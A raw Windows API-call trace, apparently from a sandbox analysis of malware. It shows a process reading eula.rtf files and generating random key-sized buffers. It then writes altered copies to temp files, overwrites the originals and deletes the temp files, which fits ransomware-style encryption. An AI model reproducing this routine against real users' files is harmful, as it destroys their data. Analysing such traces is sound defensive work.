	[0071.191] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\9ff0e09db206b2de79b58cb8a3c5ded1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\9ff0e09db206b2de79b58cb8a3c5ded1")) returned 0
	[0071.192] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\9ff0e09db206b2de79b58cb8a3c5ded1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\9ff0e09db206b2de79b58cb8a3c5ded1")) returned 0
	[0071.192] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\9ff0e09db206b2de79b58cb8a3c5ded1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\9ff0e09db206b2de79b58cb8a3c5ded1")) returned 0x20
	[0071.192] CloseHandle (hObject=0x190) returned 1
	[0071.192] CloseHandle (hObject=0x164) returned 1
	[0071.192] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\9ff0e09db206b2de79b58cb8a3c5ded1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\9ff0e09db206b2de79b58cb8a3c5ded1")) returned 1
	[0071.193] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0071.568] SetEvent (hEvent=0xf0) returned 1
	[0071.568] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fe000, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xc000283d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000283d94, lpOverlapped=0x0) returned 0
	[0071.568] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fe000, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc000283d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000283d94, lpOverlapped=0x0) returned 0
	[0071.568] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x164
	[0071.568] GetConsoleMode (in: hConsoleHandle=0x164, lpMode=0xc000283bf4 | out: lpMode=0xc000283bf4) returned 0
	[0071.568] GetFileType (hFile=0x164) returned 0x1
	[0071.568] GetFileType (hFile=0x164) returned 0x1
	[0071.568] GetFileInformationByHandle (in: hFile=0x164, lpFileInformation=0xc000283c44 | out: lpFileInformation=0xc000283c44) returned 1
	[0071.568] GetFileInformationByHandleEx (in: hFile=0x164, FileInformationClass=0x9, lpFileInformation=0xc000283c28, dwBufferSize=0x8 | out: lpFileInformation=0xc000283c28) returned 1
	[0071.568] VirtualAlloc (lpAddress=0xc0001b2000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001b2000
	[0071.569] ReadFile (in: hFile=0x164, lpBuffer=0xc0001b2000, nNumberOfBytesToRead=0x103b, lpNumberOfBytesRead=0xc000283b04, lpOverlapped=0x0 | out: lpBuffer=0xc0001b2000*, lpNumberOfBytesRead=0xc000283b04*=0xe3b, lpOverlapped=0x0) returned 1
	[0071.661] ReadFile (in: hFile=0x164, lpBuffer=0xc0001b2e3b, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc000283b04, lpOverlapped=0x0 | out: lpBuffer=0xc0001b2e3b*, lpNumberOfBytesRead=0xc000283b04*=0x0, lpOverlapped=0x0) returned 1
	[0071.661] CloseHandle (hObject=0x164) returned 1
	[0071.661] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc000092fc0 | out: pbBuffer=0xc000092fc0) returned 1
	[0071.661] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x10, pbBuffer=0xc000094dc0 | out: pbBuffer=0xc000094dc0) returned 1
	[0071.661] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc000082601 | out: pbBuffer=0xc000082601) returned 1
	[0071.661] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\8fa814cfb189e777b3f1d32070350615" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\8fa814cfb189e777b3f1d32070350615"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x164
	[0071.662] GetConsoleMode (in: hConsoleHandle=0x164, lpMode=0xc000283c04 | out: lpMode=0xc000283c04) returned 0
	[0071.662] GetFileType (hFile=0x164) returned 0x1
	[0071.662] WriteFile (in: hFile=0x164, lpBuffer=0xc00019b000*, nNumberOfBytesToWrite=0xf3b, lpNumberOfBytesWritten=0xc000283bec, lpOverlapped=0x0 | out: lpBuffer=0xc00019b000*, lpNumberOfBytesWritten=0xc000283bec*=0xf3b, lpOverlapped=0x0) returned 1
	[0071.663] CloseHandle (hObject=0x164) returned 1
	[0071.664] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x164
	[0071.665] GetConsoleMode (in: hConsoleHandle=0x164, lpMode=0xc000283d74 | out: lpMode=0xc000283d74) returned 0
	[0071.665] GetFileType (hFile=0x164) returned 0x1
	[0071.666] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\8fa814cfb189e777b3f1d32070350615" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\8fa814cfb189e777b3f1d32070350615"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x194
	[0071.666] GetConsoleMode (in: hConsoleHandle=0x194, lpMode=0xc000283d74 | out: lpMode=0xc000283d74) returned 0
	[0071.666] GetFileType (hFile=0x194) returned 0x1
	[0071.666] VirtualAlloc (lpAddress=0xc0001b8000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001b8000
	[0071.667] ReadFile (in: hFile=0x194, lpBuffer=0xc0001b8000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000283bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001b8000*, lpNumberOfBytesRead=0xc000283bd4*=0xf3b, lpOverlapped=0x0) returned 1
	[0071.667] WriteFile (in: hFile=0x164, lpBuffer=0xc0001b8000*, nNumberOfBytesToWrite=0xf3b, lpNumberOfBytesWritten=0xc000283b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001b8000*, lpNumberOfBytesWritten=0xc000283b74*=0xf3b, lpOverlapped=0x0) returned 1
	[0071.671] ReadFile (in: hFile=0x194, lpBuffer=0xc0001b8000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000283bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001b8000*, lpNumberOfBytesRead=0xc000283bd4*=0x0, lpOverlapped=0x0) returned 1
	[0071.671] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\8fa814cfb189e777b3f1d32070350615" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\8fa814cfb189e777b3f1d32070350615")) returned 0
	[0071.671] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\8fa814cfb189e777b3f1d32070350615" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\8fa814cfb189e777b3f1d32070350615")) returned 0
	[0071.671] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\8fa814cfb189e777b3f1d32070350615" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\8fa814cfb189e777b3f1d32070350615")) returned 0x20
	[0071.671] CloseHandle (hObject=0x194) returned 1
	[0071.671] CloseHandle (hObject=0x164) returned 1
	[0071.672] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\8fa814cfb189e777b3f1d32070350615" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\8fa814cfb189e777b3f1d32070350615")) returned 1
	[0071.673] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0071.984] SetEvent (hEvent=0xe4) returned 1
	[0071.984] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xc000283d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000283d94, lpOverlapped=0x0) returned 0
	[0071.984] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc000283d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000283d94, lpOverlapped=0x0) returned 0
	[0071.984] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x190
	[0071.985] GetConsoleMode (in: hConsoleHandle=0x190, lpMode=0xc000283bf4 | out: lpMode=0xc000283bf4) returned 0
	[0071.985] GetFileType (hFile=0x190) returned 0x1
	[0071.985] GetFileType (hFile=0x190) returned 0x1
	[0071.985] GetFileInformationByHandle (in: hFile=0x190, lpFileInformation=0xc000283c44 | out: lpFileInformation=0xc000283c44) returned 1
	[0071.985] GetFileInformationByHandleEx (in: hFile=0x190, FileInformationClass=0x9, lpFileInformation=0xc000283c28, dwBufferSize=0x8 | out: lpFileInformation=0xc000283c28) returned 1
	[0071.985] VirtualAlloc (lpAddress=0xc000392000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000392000
	[0071.985] ReadFile (in: hFile=0x190, lpBuffer=0xc000392000, nNumberOfBytesToRead=0xde6, lpNumberOfBytesRead=0xc000283b04, lpOverlapped=0x0 | out: lpBuffer=0xc000392000*, lpNumberOfBytesRead=0xc000283b04*=0xbe6, lpOverlapped=0x0) returned 1
	[0073.692] ReadFile (in: hFile=0x190, lpBuffer=0xc000392be6, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc000283b04, lpOverlapped=0x0 | out: lpBuffer=0xc000392be6*, lpNumberOfBytesRead=0xc000283b04*=0x0, lpOverlapped=0x0) returned 1
	[0073.692] CloseHandle (hObject=0x190) returned 1
	[0073.693] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc000206ee0 | out: pbBuffer=0xc000206ee0) returned 1
	[0073.693] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x10, pbBuffer=0xc000222780 | out: pbBuffer=0xc000222780) returned 1
	[0073.693] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc000212b01 | out: pbBuffer=0xc000212b01) returned 1
	[0073.693] VirtualAlloc (lpAddress=0xc0003a8000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003a8000
	[0073.693] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3298d7906e47da9f7e71a84923afa438" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3298d7906e47da9f7e71a84923afa438"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190
	[0073.694] GetConsoleMode (in: hConsoleHandle=0x190, lpMode=0xc000283c04 | out: lpMode=0xc000283c04) returned 0
	[0073.694] GetFileType (hFile=0x190) returned 0x1
	[0073.694] WriteFile (in: hFile=0x190, lpBuffer=0xc0003a8000*, nNumberOfBytesToWrite=0xce6, lpNumberOfBytesWritten=0xc000283bec, lpOverlapped=0x0 | out: lpBuffer=0xc0003a8000*, lpNumberOfBytesWritten=0xc000283bec*=0xce6, lpOverlapped=0x0) returned 1
	[0073.695] CloseHandle (hObject=0x190) returned 1
	[0073.696] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190
	[0073.697] GetConsoleMode (in: hConsoleHandle=0x190, lpMode=0xc000283d74 | out: lpMode=0xc000283d74) returned 0
	[0073.697] GetFileType (hFile=0x190) returned 0x1
	[0073.697] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3298d7906e47da9f7e71a84923afa438" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3298d7906e47da9f7e71a84923afa438"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1a4
	[0073.697] GetConsoleMode (in: hConsoleHandle=0x1a4, lpMode=0xc000283d74 | out: lpMode=0xc000283d74) returned 0
	[0073.697] GetFileType (hFile=0x1a4) returned 0x1
	[0073.697] VirtualAlloc (lpAddress=0xc0003ae000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003ae000
	[0073.697] ReadFile (in: hFile=0x1a4, lpBuffer=0xc0003ae000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000283bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0003ae000*, lpNumberOfBytesRead=0xc000283bd4*=0xce6, lpOverlapped=0x0) returned 1
	[0073.698] WriteFile (in: hFile=0x190, lpBuffer=0xc0003ae000*, nNumberOfBytesToWrite=0xce6, lpNumberOfBytesWritten=0xc000283b74, lpOverlapped=0x0 | out: lpBuffer=0xc0003ae000*, lpNumberOfBytesWritten=0xc000283b74*=0xce6, lpOverlapped=0x0) returned 1
	[0073.699] ReadFile (in: hFile=0x1a4, lpBuffer=0xc0003ae000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000283bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0003ae000*, lpNumberOfBytesRead=0xc000283bd4*=0x0, lpOverlapped=0x0) returned 1
	[0073.699] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3298d7906e47da9f7e71a84923afa438" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3298d7906e47da9f7e71a84923afa438")) returned 0
	[0073.699] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3298d7906e47da9f7e71a84923afa438" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3298d7906e47da9f7e71a84923afa438")) returned 0
	[0073.699] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3298d7906e47da9f7e71a84923afa438" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3298d7906e47da9f7e71a84923afa438")) returned 0x20
	[0073.699] CloseHandle (hObject=0x1a4) returned 1
	[0073.699] CloseHandle (hObject=0x190) returned 1
	[0073.700] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3298d7906e47da9f7e71a84923afa438" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3298d7906e47da9f7e71a84923afa438")) returned 1
	[0073.701] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xc000283d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000283d94, lpOverlapped=0x0) returned 0
	[0073.701] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc000283d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000283d94, lpOverlapped=0x0) returned 0
	[0073.701] VirtualAlloc (lpAddress=0xc0003b6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003b6000
	[0073.701] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x190
	[0073.701] GetConsoleMode (in: hConsoleHandle=0x190, lpMode=0xc000283bf4 | out: lpMode=0xc000283bf4) returned 0
	[0073.701] GetFileType (hFile=0x190) returned 0x1
	[0073.701] VirtualAlloc (lpAddress=0xc0003b8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003b8000
	[0073.702] GetFileType (hFile=0x190) returned 0x1
	[0073.702] GetFileInformationByHandle (in: hFile=0x190, lpFileInformation=0xc000283c44 | out: lpFileInformation=0xc000283c44) returned 1
	[0073.702] GetFileInformationByHandleEx (in: hFile=0x190, FileInformationClass=0x9, lpFileInformation=0xc000283c28, dwBufferSize=0x8 | out: lpFileInformation=0xc000283c28) returned 1
	[0073.702] VirtualAlloc (lpAddress=0xc0003ba000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003ba000
	[0073.702] ReadFile (in: hFile=0x190, lpBuffer=0xc0003ba000, nNumberOfBytesToRead=0x18c3, lpNumberOfBytesRead=0xc000283b04, lpOverlapped=0x0 | out: lpBuffer=0xc0003ba000*, lpNumberOfBytesRead=0xc000283b04*=0x16c3, lpOverlapped=0x0) returned 1
	[0074.232] ReadFile (in: hFile=0x190, lpBuffer=0xc0003bb6c3, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc000283b04, lpOverlapped=0x0 | out: lpBuffer=0xc0003bb6c3*, lpNumberOfBytesRead=0xc000283b04*=0x0, lpOverlapped=0x0) returned 1
	[0074.232] CloseHandle (hObject=0x190) returned 1
	[0074.232] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc000207120 | out: pbBuffer=0xc000207120) returned 1
	[0074.232] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x10, pbBuffer=0xc000222940 | out: pbBuffer=0xc000222940) returned 1
	[0074.232] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc000212f01 | out: pbBuffer=0xc000212f01) returned 1
	[0074.232] VirtualAlloc (lpAddress=0xc0003cc000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003cc000
	[0074.233] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\665f8522598a1eb0b01be10e741f8153" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\665f8522598a1eb0b01be10e741f8153"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190
	[0074.233] GetConsoleMode (in: hConsoleHandle=0x190, lpMode=0xc000283c04 | out: lpMode=0xc000283c04) returned 0
	[0074.233] GetFileType (hFile=0x190) returned 0x1
	[0074.234] WriteFile (in: hFile=0x190, lpBuffer=0xc0003cc000*, nNumberOfBytesToWrite=0x17c3, lpNumberOfBytesWritten=0xc000283bec, lpOverlapped=0x0 | out: lpBuffer=0xc0003cc000*, lpNumberOfBytesWritten=0xc000283bec*=0x17c3, lpOverlapped=0x0) returned 1
	[0074.236] CloseHandle (hObject=0x190) returned 1
	[0074.244] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190
	[0074.412] GetConsoleMode (in: hConsoleHandle=0x190, lpMode=0xc000283d74 | out: lpMode=0xc000283d74) returned 0
	[0074.412] GetFileType (hFile=0x190) returned 0x1
	[0074.412] VirtualAlloc (lpAddress=0xc0003d2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003d2000
	[0074.412] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\665f8522598a1eb0b01be10e741f8153" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\665f8522598a1eb0b01be10e741f8153"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x164
	[0074.413] GetConsoleMode (in: hConsoleHandle=0x164, lpMode=0xc000283d74 | out: lpMode=0xc000283d74) returned 0
	[0074.413] GetFileType (hFile=0x164) returned 0x1
	[0074.413] VirtualAlloc (lpAddress=0xc0003d4000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003d4000
	[0074.414] ReadFile (in: hFile=0x164, lpBuffer=0xc0003d4000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000283bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0003d4000*, lpNumberOfBytesRead=0xc000283bd4*=0x17c3, lpOverlapped=0x0) returned 1
	[0074.414] WriteFile (in: hFile=0x190, lpBuffer=0xc0003d4000*, nNumberOfBytesToWrite=0x17c3, lpNumberOfBytesWritten=0xc000283b74, lpOverlapped=0x0 | out: lpBuffer=0xc0003d4000*, lpNumberOfBytesWritten=0xc000283b74*=0x17c3, lpOverlapped=0x0) returned 1
	[0074.415] ReadFile (in: hFile=0x164, lpBuffer=0xc0003d4000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000283bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0003d4000*, lpNumberOfBytesRead=0xc000283bd4*=0x0, lpOverlapped=0x0) returned 1
	[0074.416] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\665f8522598a1eb0b01be10e741f8153" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\665f8522598a1eb0b01be10e741f8153")) returned 0
	[0074.416] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\665f8522598a1eb0b01be10e741f8153" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\665f8522598a1eb0b01be10e741f8153")) returned 0
	[0074.416] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\665f8522598a1eb0b01be10e741f8153" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\665f8522598a1eb0b01be10e741f8153")) returned 0x20
	[0074.416] CloseHandle (hObject=0x164) returned 1
	[0074.416] CloseHandle (hObject=0x190) returned 1
	[0074.419] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\665f8522598a1eb0b01be10e741f8153" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\665f8522598a1eb0b01be10e741f8153")) returned 1
	[0074.421] VirtualAlloc (lpAddress=0xc0003dc000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003dc000
	[0074.421] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xc000231d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000231d94, lpOverlapped=0x0) returned 0
	[0074.421] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc000231d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000231d94, lpOverlapped=0x0) returned 0
	[0074.422] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x190
	[0074.422] GetConsoleMode (in: hConsoleHandle=0x190, lpMode=0xc000231bf4 | out: lpMode=0xc000231bf4) returned 0
	[0074.422] GetFileType (hFile=0x190) returned 0x1
	[0074.422] GetFileType (hFile=0x190) returned 0x1
	[0074.422] GetFileInformationByHandle (in: hFile=0x190, lpFileInformation=0xc000231c44 | out: lpFileInformation=0xc000231c44) returned 1
	[0074.422] GetFileInformationByHandleEx (in: hFile=0x190, FileInformationClass=0x9, lpFileInformation=0xc000231c28, dwBufferSize=0x8 | out: lpFileInformation=0xc000231c28) returned 1
	[0074.422] VirtualAlloc (lpAddress=0xc0003de000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003de000
	[0074.423] ReadFile (in: hFile=0x190, lpBuffer=0xc0003de000, nNumberOfBytesToRead=0x11af, lpNumberOfBytesRead=0xc000231b04, lpOverlapped=0x0 | out: lpBuffer=0xc0003de000*, lpNumberOfBytesRead=0xc000231b04*=0xfaf, lpOverlapped=0x0) returned 1
	[0074.500] ReadFile (in: hFile=0x190, lpBuffer=0xc0003defaf, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc000231b04, lpOverlapped=0x0 | out: lpBuffer=0xc0003defaf*, lpNumberOfBytesRead=0xc000231b04*=0x0, lpOverlapped=0x0) returned 1
	[0074.500] CloseHandle (hObject=0x190) returned 1
	[0074.500] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc000207260 | out: pbBuffer=0xc000207260) returned 1
	[0074.500] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x10, pbBuffer=0xc000222a20 | out: pbBuffer=0xc000222a20) returned 1
	[0074.500] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc000213101 | out: pbBuffer=0xc000213101) returned 1
	[0074.501] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\2d643d00bbac0c5f87e584e4bb10fee1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\2d643d00bbac0c5f87e584e4bb10fee1"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190
	[0074.501] GetConsoleMode (in: hConsoleHandle=0x190, lpMode=0xc000231c04 | out: lpMode=0xc000231c04) returned 0
	[0074.501] GetFileType (hFile=0x190) returned 0x1
	[0074.501] WriteFile (in: hFile=0x190, lpBuffer=0xc0003df300*, nNumberOfBytesToWrite=0x10af, lpNumberOfBytesWritten=0xc000231bec, lpOverlapped=0x0 | out: lpBuffer=0xc0003df300*, lpNumberOfBytesWritten=0xc000231bec*=0x10af, lpOverlapped=0x0) returned 1
	[0074.502] CloseHandle (hObject=0x190) returned 1
	[0074.507] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190
	[0074.508] GetConsoleMode (in: hConsoleHandle=0x190, lpMode=0xc000231d74 | out: lpMode=0xc000231d74) returned 0
	[0074.508] GetFileType (hFile=0x190) returned 0x1
	[0074.508] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\2d643d00bbac0c5f87e584e4bb10fee1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\2d643d00bbac0c5f87e584e4bb10fee1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x194
	[0074.508] GetConsoleMode (in: hConsoleHandle=0x194, lpMode=0xc000231d74 | out: lpMode=0xc000231d74) returned 0
	[0074.508] GetFileType (hFile=0x194) returned 0x1
	[0074.509] VirtualAlloc (lpAddress=0xc0003e4000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003e4000
	[0074.509] ReadFile (in: hFile=0x194, lpBuffer=0xc0003e4000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000231bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0003e4000*, lpNumberOfBytesRead=0xc000231bd4*=0x10af, lpOverlapped=0x0) returned 1
	[0074.510] WriteFile (in: hFile=0x190, lpBuffer=0xc0003e4000*, nNumberOfBytesToWrite=0x10af, lpNumberOfBytesWritten=0xc000231b74, lpOverlapped=0x0 | out: lpBuffer=0xc0003e4000*, lpNumberOfBytesWritten=0xc000231b74*=0x10af, lpOverlapped=0x0) returned 1
	[0074.511] ReadFile (in: hFile=0x194, lpBuffer=0xc0003e4000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000231bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0003e4000*, lpNumberOfBytesRead=0xc000231bd4*=0x0, lpOverlapped=0x0) returned 1
